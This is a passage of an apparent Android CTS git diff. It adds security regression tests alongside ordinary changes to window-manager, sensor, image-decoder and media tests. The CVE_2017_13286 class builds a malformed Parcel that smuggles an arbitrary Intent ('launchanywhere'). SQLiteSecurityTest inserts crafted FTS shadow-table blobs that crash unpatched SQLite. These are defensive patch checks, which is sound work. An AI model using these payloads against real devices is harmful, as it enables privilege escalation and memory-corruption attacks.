+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.launchanywhere;
+
+import com.android.security.cts.launchanywhere.IGenerateMalformedParcel;
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13286 implements IGenerateMalformedParcel {
+ @Override
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts." +
+ "IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("android.hardware.camera2.params.OutputConfiguration");
+ data.writeInt(0);
+ data.writeInt(1);
+ data.writeInt(2);
+ data.writeInt(3);
+ data.writeInt(4);
+ data.writeInt(5);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(13);
+
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
index 9554f69..822d103 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
@@ -56,7 +56,6 @@
static final String TEST_WITH_MARGINS = "WithMargins";
private AlertDialog mDialog;
- private int mSize;
@Override
protected void onStop() {
@@ -72,7 +71,6 @@
private void setupTest(Intent intent) {
final String testCase = intent.getStringExtra(EXTRA_TEST_CASE);
- mSize = getSize();
switch (testCase) {
case TEST_MATCH_PARENT:
testMatchParent();
@@ -145,23 +143,23 @@
private void testExplicitSize() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
});
}
private void testExplicitSizeTopLeftGravity() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.gravity = Gravity.TOP | Gravity.LEFT;
});
}
private void testExplicitSizeBottomRightGravity() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.gravity = Gravity.BOTTOM | Gravity.RIGHT;
});
}
@@ -211,15 +209,10 @@
params.gravity = Gravity.LEFT | Gravity.TOP;
params.horizontalMargin = .25f;
params.verticalMargin = .35f;
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.x = 0;
params.y = 0;
});
}
-
- private int getSize() {
- float density = getResources().getDisplayMetrics().density;
- return (int)(200 * density);
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 4d3fe61..c7208f3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -47,7 +47,6 @@
import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
-import org.junit.Before;
import java.util.List;
@@ -68,11 +67,6 @@
new ActivityTestRule<>(DialogFrameTestActivity.class, false /* initialTOuchMode */,
false /* launchActivity */);
- @Before
- public void setUp() {
- mSize = getSize();
- }
-
@Override
ComponentName activityName() {
return DIALOG_FRAME_TEST_ACTIVITY;
@@ -123,7 +117,6 @@
}
private static final int explicitDimension = 200;
- private int mSize = explicitDimension;
// The default gravity for dialogs should center them.
@Test
@@ -131,10 +124,10 @@
doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
Rect contentFrame = parent.getContentFrame();
Rect expectedFrame = new Rect(
- contentFrame.left + (contentFrame.width() - mSize) / 2,
- contentFrame.top + (contentFrame.height() - mSize) / 2,
- contentFrame.left + (contentFrame.width() + mSize) / 2,
- contentFrame.top + (contentFrame.height() + mSize) / 2);
+ contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+ contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -146,8 +139,8 @@
Rect expectedFrame = new Rect(
contentFrame.left,
contentFrame.top,
- contentFrame.left + mSize,
- contentFrame.top + mSize);
+ contentFrame.left + explicitDimension,
+ contentFrame.top + explicitDimension);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -157,8 +150,8 @@
doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
Rect contentFrame = parent.getContentFrame();
Rect expectedFrame = new Rect(
- contentFrame.left + contentFrame.width() - mSize,
- contentFrame.top + contentFrame.height() - mSize,
+ contentFrame.left + contentFrame.width() - explicitDimension,
+ contentFrame.top + contentFrame.height() - explicitDimension,
contentFrame.left + contentFrame.width(),
contentFrame.top + contentFrame.height());
assertEquals(expectedFrame, dialog.getFrame());
@@ -243,8 +236,8 @@
Rect expectedFrame = new Rect(
(int) (horizontalMargin * frame.width() + frame.left),
(int) (verticalMargin * frame.height() + frame.top),
- (int) (horizontalMargin * frame.width() + frame.left) + mSize,
- (int) (verticalMargin * frame.height() + frame.top) + mSize);
+ (int) (horizontalMargin * frame.width() + frame.left) + explicitDimension,
+ (int) (verticalMargin * frame.height() + frame.top) + explicitDimension);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -258,10 +251,4 @@
assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
);
}
-
- private int getSize() {
- float density =
- InstrumentationRegistry.getContext().getResources().getDisplayMetrics().density;
- return (int)(200 * density);
- }
}
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 44135bc..c1c9fab 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -77,23 +77,23 @@
public void testAccelerometerRange() {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+ Sensor.TYPE_ACCELEROMETER,
ACCELEROMETER_MAX_RANGE,
ACCELEROMETER_MIN_FREQUENCY,
ACCELEROMETER_MAX_FREQUENCY);
- }
+ }
- public void testGyroscopeRange() {
+ public void testGyroscopeRange() {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
+ Sensor.TYPE_GYROSCOPE,
GYRO_MAX_RANGE,
GYRO_MIN_FREQUENCY,
GYRO_MAX_FREQUENCY);
- }
+ }
public void testMagnetometerRange() {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
+ Sensor.TYPE_MAGNETIC_FIELD,
MAGNETOMETER_MAX_RANGE,
MAGNETOMETER_MIN_FREQUENCY,
MAGNETOMETER_MAX_FREQUENCY);
@@ -102,7 +102,7 @@
public void testPressureRange() {
if (mHasHifiSensors) {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_PRESSURE),
+ Sensor.TYPE_PRESSURE,
PRESSURE_MAX_RANGE,
PRESSURE_MIN_FREQUENCY,
PRESSURE_MAX_FREQUENCY);
@@ -110,8 +110,14 @@
}
private void checkSensorRangeAndFrequency(
- Sensor sensor, double maxRange, double minFrequency, double maxFrequency) {
+ int sensorType, double maxRange, double minFrequency, double maxFrequency) {
if (!mHasHifiSensors && !mVrModeHighPerformance) return;
+
+ Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+ if (sensor == null) {
+ fail(String.format("Must support sensor type %d", sensorType));
+ }
+
assertTrue(String.format("%s Range actual=%.2f expected=%.2f %s",
sensor.getName(), sensor.getMaximumRange(), maxRange,
SensorCtsHelper.getUnitsForSensor(sensor)),
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
index 6fd0865..35d48df 100644
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -22,6 +22,9 @@
import android.hardware.Sensor;
import android.hardware.SensorDirectChannel;
import android.hardware.SensorManager;
+import android.os.Build;
+
+import com.android.compatibility.common.util.PropertyUtil;
/**
* Checks if Hifi sensors or VR High performance mode sensors
@@ -61,7 +64,10 @@
}
public void testSupportsAccelerometerUncalibrated() {
- checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+ // Uncalibrated accelerometer was not required before Android O
+ if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) {
+ checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+ }
}
public void testSupportsGyroscope() {
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
new file mode 100644
index 0000000..c34a5f5
--- /dev/null
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.database.sqlite.cts;
+
+
+import android.content.Context;
+import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDatabaseCorruptException;
+import android.test.AndroidTestCase;
+
+/**
+ * This CTS test verifies Magellan SQLite Security Vulnerability.
+ * Without the fix, the last statement in each test case triggers a segmentation fault and the test
+ * fails.
+ * With the fix, the last statement in each test case triggers SQLiteDatabaseCorruptException with
+ * message "database disk image is malformed (code 267 SQLITE_CORRUPT_VTAB)", this is expected
+ * behavior that we are crashing and we are not leaking data.
+ */
+public class SQLiteSecurityTest extends AndroidTestCase {
+ private static final String DATABASE_NAME = "database_test.db";
+
+ private SQLiteDatabase mDatabase;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ getContext().deleteDatabase(DATABASE_NAME);
+ mDatabase = getContext().openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE,
+ null);
+ assertNotNull(mDatabase);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ mDatabase.close();
+ getContext().deleteDatabase(DATABASE_NAME);
+
+ super.tearDown();
+ }
+
+ public void testScript1() {
+ mDatabase.beginTransaction();
+ mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+ mDatabase.execSQL("INSERT INTO ft_content VALUES(1,'aback');");
+ mDatabase.execSQL("INSERT INTO ft_content VALUES(2,'abaft');");
+ mDatabase.execSQL("INSERT INTO ft_content VALUES(3,'abandon');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES(0,0,0,0,'0 29',X"
+ + "'0005616261636b03010200ffffffff070266740302020003046e646f6e03030200');");
+ mDatabase.setTransactionSuccessful();
+ mDatabase.endTransaction();
+ try {
+ mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abandon';");
+ } catch (SQLiteDatabaseCorruptException e) {
+ return;
+ }
+ fail("Expecting a SQLiteDatabaseCorruptException");
+ }
+
+ public void testScript2() {
+ mDatabase.beginTransaction();
+ mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(1,"
+ + "X'0004616263300301020003013103020200040130030b0200040131030c0200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(2,"
+ + "X'00056162633132030d0200040133030e0200040134030f020004013503100200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(3,"
+ + "X'0005616263313603110200040137031202000401380313020004013903140200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(4,"
+ + "X'00046162633203030200030133030402000301340305020003013503060200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(5,"
+ + "X'000461626336030702000301370308020003013803090200030139030a0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir "
+ + "VALUES(0,0,1,5,'5 157',X'0101056162633132ffffffff070236030132030136');");
+ mDatabase.setTransactionSuccessful();
+ mDatabase.endTransaction();
+ try {
+ mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abc20';");
+ } catch (SQLiteDatabaseCorruptException e) {
+ return;
+ }
+ fail("Expecting a SQLiteDatabaseCorruptException");
+ }
+
+ public void testScript3() {
+ mDatabase.beginTransaction();
+ mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts4;");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+ + "(1,X'00046162633003010200040178030202000501780303020003013103040200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+ + "(2,X'00056162633130031f0200ffffffff07ff5566740302020003046e646f6e03030200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(384,NULL);");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,0,0,0,'0 24',X'000561626331780305020005017803060200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + " (0,1,0,0,'0 24',X'000461626332030702000401780308020005017803090200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,2,0,0,'0 24',X'000461626333030a0200040178030b0200050178030c0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES" +
+ "(0,3,0,0,'0 24',X'000461626334030d0200040178030e0200050178030f0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,4,0,0,'0 24',X'000461626335031002000401780311020005017803120200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,5,0,0,'0 24',X'000461626336031302000401780314020005017803150200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,6,0,0,'0 24',X'000461626337031602000401780317020005017803180200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,7,0,0,'0 24',X'00046162633803190200040178031a0200050178031b0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,8,0,0,'0 24',X'000461626339031c0200040178031d0200050178031e0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,9,0,0,'0 25',X'00066162633130780320020006017803210200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,10,0,0,'0 25',X'00056162633131032202000501780323020006017803240200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES(1,0,1,2,'384 -42',X'0101056162633130');");
+ mDatabase.execSQL("INSERT INTO ft_stat VALUES(1,X'000b');");
+ mDatabase.execSQL("PRAGMA writable_schema=OFF;");
+ mDatabase.setTransactionSuccessful();
+ mDatabase.endTransaction();
+ try {
+ mDatabase.execSQL("INSERT INTO ft(ft) VALUES('merge=1,4');");
+ } catch (SQLiteDatabaseCorruptException e) {
+ return;
+ }
+ fail("Expecting a SQLiteDatabaseCorruptException");
+ }
+}
+
+
+
+
+
+
+
+
+
+
+
diff --git a/tests/tests/graphics/res/raw/f16.png b/tests/tests/graphics/res/raw/f16.png
deleted file mode 100644
index 2c3aed2..0000000
--- a/tests/tests/graphics/res/raw/f16.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 2032517..cbf1a61 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1679,7 +1679,7 @@
};
Listener l = new Listener();
SourceCreator f = mCreators[0];
- for (int resId : new int[] { R.drawable.png_test, R.raw.f16 }) {
+ for (int resId : new int[] { R.drawable.png_test, R.raw.basi6a16 }) {
Bitmap normal = null;
try {
normal = ImageDecoder.decodeBitmap(f.apply(resId));
@@ -1705,7 +1705,7 @@
// We do not support 565 in HARDWARE, so no RAM savings
// are possible.
assertEquals(normalByteCount, byteCount);
- } else { // R.raw.f16
+ } else { // R.raw.basi6a16
// This image defaults to F16. MEMORY_POLICY_LOW_RAM
// forces "test" to decode to 8888. But if the device
// does not support F16 in HARDWARE, "normal" is also
@@ -1723,10 +1723,10 @@
}
}
} else {
- // Not decoding to HARDWARE, but |normal| was. Again, if f16
+ // Not decoding to HARDWARE, but |normal| was. Again, if basi6a16
// was decoded to 8888, which we can detect by looking at the color
// space, no savings are possible.
- if (resId == R.raw.f16 && !normal.getColorSpace().equals(
+ if (resId == R.raw.basi6a16 && !normal.getColorSpace().equals(
ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
assertEquals(normalByteCount, byteCount);
} else {
@@ -1764,8 +1764,8 @@
// If this were stored in drawable/, it would
// be converted from 16-bit to 8. FIXME: Is
// behavior still desirable now that we have
- // F16? b/119760146
- R.raw.f16 };
+ // F16?
+ R.raw.basi6a16 };
// An opaque image can be converted to 565, but postProcess will promote
// to 8888 in case alpha is added. The third image defaults to F16, so
// even with postProcess it will only be promoted to 8888.
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 49feb9e..4b3e7a0 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -100,6 +100,20 @@
<action android:name="android.media.browse.MediaBrowserService" />
</intent-filter>
</service>
+ <!-- Keep the test services synced together with the TestUtils.java -->
+ <service android:name="android.media.cts.MockMediaSessionService2">
+ <intent-filter>
+ <action android:name="android.media.MediaSessionService2" />
+ </intent-filter>
+ <meta-data android:name="android.media.session" android:value="TestSession" />
+ </service>
+ <!-- Keep the test services synced together with the MockMediaLibraryService -->
+ <service android:name="android.media.cts.MockMediaLibraryService2">
+ <intent-filter>
+ <action android:name="android.media.MediaLibraryService2" />
+ </intent-filter>
+ <meta-data android:name="android.media.session" android:value="TestLibrary" />
+ </service>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
new file mode 100644
index 0000000..9ced5b1
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
@@ -0,0 +1,672 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.cts.MockMediaLibraryService2.EXTRAS;
+import static android.media.cts.MockMediaLibraryService2.ROOT_ID;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.annotation.Nullable;
+import android.content.Context;
+import android.media.MediaBrowser2;
+import android.media.MediaBrowser2.BrowserCallback;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2.MediaLibrarySession;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaBrowser2}.
+ * <p>
+ * This test inherits {@link MediaController2Test} to ensure that inherited APIs from
+ * {@link MediaController2} works cleanly.
+ */
+// TODO(jaewan): Implement host-side test so browser and service can run in different processes.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaBrowser2Test extends MediaController2Test {
+ private static final String TAG = "MediaBrowser2Test";
+
+ @Override
+ TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+ @Nullable ControllerCallback callback) {
+ if (callback == null) {
+ callback = new BrowserCallback() {};
+ }
+ return new TestMediaBrowser(mContext, token, new TestBrowserCallback(callback));
+ }
+
+ /**
+ * Test if the {@link TestBrowserCallback} wraps the callback proxy without missing any method.
+ */
+ @Test
+ public void testTestBrowserCallback() {
+ Method[] methods = TestBrowserCallback.class.getMethods();
+ assertNotNull(methods);
+ for (int i = 0; i < methods.length; i++) {
+ // For any methods in the controller callback, TestControllerCallback should have
+ // overriden the method and call matching API in the callback proxy.
+ assertNotEquals("TestBrowserCallback should override " + methods[i]
+ + " and call callback proxy",
+ BrowserCallback.class, methods[i].getDeclaringClass());
+ }
+ }
+
+ @Test
+ public void testGetLibraryRoot() throws InterruptedException {
+ final Bundle param = new Bundle();
+ param.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetLibraryRootDone(MediaBrowser2 browser,
+ Bundle rootHints, String rootMediaId, Bundle rootExtra) {
+ assertTrue(TestUtils.equals(param, rootHints));
+ assertEquals(ROOT_ID, rootMediaId);
+ assertTrue(TestUtils.equals(EXTRAS, rootExtra));
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser =
+ (MediaBrowser2) createController(token,true, callback);
+ browser.getLibraryRoot(param);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetItem() throws InterruptedException {
+ final String mediaId = MockMediaLibraryService2.MEDIA_ID_GET_ITEM;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+ assertEquals(mediaId, mediaIdOut);
+ assertNotNull(result);
+ assertEquals(mediaId, result.getMediaId());
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getItem(mediaId);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetItemNullResult() throws InterruptedException {
+ final String mediaId = "random_media_id";
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+ assertEquals(mediaId, mediaIdOut);
+ assertNull(result);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getItem(mediaId);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildren() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID;
+ final int page = 4;
+ final int pageSize = 10;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut, int pageOut,
+ int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertEquals(parentId, parentIdOut);
+ assertEquals(page, pageOut);
+ assertEquals(pageSize, pageSizeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertNotNull(result);
+
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(page * pageSize, MockMediaLibraryService2.CHILDREN_COUNT);
+
+ // Compare the given results with originals.
+ for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+ int relativeIndex = originalIndex - fromIndex;
+ Assert.assertEquals(
+ MockMediaLibraryService2.GET_CHILDREN_RESULT.get(originalIndex)
+ .getMediaId(),
+ result.get(relativeIndex).getMediaId());
+ }
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, page, pageSize, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildrenEmptyResult() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID_NO_CHILDREN;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertNotNull(result);
+ assertEquals(0, result.size());
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, 1, 1, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildrenNullResult() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID_ERROR;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertNull(result);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, 1, 1, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Ignore
+ @Test
+ public void testSearch() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY;
+ final int page = 4;
+ final int pageSize = 10;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latchForSearch = new CountDownLatch(1);
+ final CountDownLatch latchForGetSearchResult = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(MediaBrowser2 browser,
+ String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+ latchForSearch.countDown();
+ }
+
+ @Override
+ public void onGetSearchResultDone(MediaBrowser2 browser, String queryOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertEquals(page, pageOut);
+ assertEquals(pageSize, pageSizeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertNotNull(result);
+
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(
+ page * pageSize, MockMediaLibraryService2.SEARCH_RESULT_COUNT);
+
+ // Compare the given results with originals.
